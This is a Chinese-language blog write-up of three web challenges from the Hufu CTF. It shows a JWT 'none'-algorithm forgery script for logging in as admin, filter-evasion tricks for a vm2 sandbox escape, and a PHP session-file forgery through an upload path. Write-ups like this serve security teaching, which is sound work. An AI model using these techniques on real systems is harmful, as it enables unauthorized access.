虎符CTF Web WP

Posted on 2020-04-19,5 min read

Web1

是个js。登陆界面。。还有注册。
尝试了下unicode。登陆后发现要admin才能cat flag
对JS不熟悉。。有些源码也不知道

/app.js
/controllers/api.js

得到源码
分析下

注册的用户名不能是admin和空。
然后secret是18位随机的16进制
secretid是secrets的长度
讲secret加入secret
然后根据secretid,username,password,secret用HS256生成签名
登陆的签名从header。或body。或query中取
token=签名
用json解析token。取第2段数据。base64解密。取其中的secretid字段赋值给sid
sid不能==undefined。不能===null。长度不能>secrets并且<=0

乍一看没什么特别的点。
但是当初看过一题。修改JWT头。算法改为None。签名置空。绕过登陆
先抓个包看看jwt

那么我们要将secret置为空。然后sid又要过下面的判断
这里[]可以过所有判断
那么现在就可以构造

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
const token = jwt.sign({[],admin,123},null,{algorithm:none})
const jwt=require('jsonwebtoken');
const secretid=[];
const username='admin';
const password='123456';
console.log(jwt.sign({secretid,username,password}, null, {algorithm: 'none'});

nodejs执行下得到jwt
登陆时替换。然后就得到了Flag

Web2

通过run.php的报错和index.php的代码。。eval(code)没$
大致可以判断是个nodejs。
后台大致是eval(code)

var err = new Error();err.stack;
打印出当前栈中的错误。可以看到vm2

过滤了部分字符。用数组就可以绕过
https://github.com/patriksimek/vm2/issues/225
一把梭

数组可以绕过过滤。也可以通过\x的方式来绕过

js中。可以用[]代替.
TypeError.prototype==TypeError[`\xxx\xxx\xxx\xxx`]
``反引号代替双引号


赵总的payload。是用占位符来拼接字符串

`${`${`prototyp`}e`}`
`${"prototype"}`

Web3

给出了源码

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

这里就重点讲一下关键代码
首先。拿到Flag。得存在success.txt。并且session['username']=='admin'
我们看看。怎么成为admin。
session实质上是根据session文件来判断的。session会将一些信息。序列化成字符串。然后放入session文件。只要我们写一个session文件。内容是xxxxx:admin。就行了
先看看怎么写文件

session_save_path("/var/babyctf/");
$dir_path = "/var/babyctf/".filter_input(INPUT_POST, 'attr');
$file_path = $dir_path."/".$_FILES['up_file']['name']."_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

这里可以写文件。POST传参direction。拼接到/var/babyctf/。然后继续拼接文件名_文件hash

/var/babyctf/$_POST['attr']/文件名_hash
而我们要构造的是
/var/babyctf/sess_xxxxx
是不是很简单。。
attr置为控。上传的文件名为sess。算出文件hash。
就可以写一个sess_xxxx了

接下来去看文件内容。
这里还有个download。读取的功能

$attr = filter_input(INPUT_POST, 'attr');
$filename = basename(filter_input(INPUT_POST, 'filename'));
$dir_path = "/var/babyctf/".$attr;
$file_path = $dir_path."/".$filename;
readfile($file_path)

拼接如下
/var/babyctf/$_POST['attr']/$_POST['filename']
已知session存放在/var/babyctf/sess_sessionID
那么attr置空。filename为session就行了


复制session内容(有个不可见的字符。。也要复制上去)到文件。函数算一下hash值
第一关。这就过去了。还要搞个success.txt
file_exists这个函数。用来匹配文件或文件夹是否存在。那么我们可以创建一个file_exists文件夹

根据之前的上传
/var/babyctf/$_POST['attr']/文件名_hash

我们可以控制attr。将其变成success.txt。其他随意

这个题。会自动删除文件。我真是。。。。。。mmp
开BURP一直跑

下一篇: Chive CTF WP→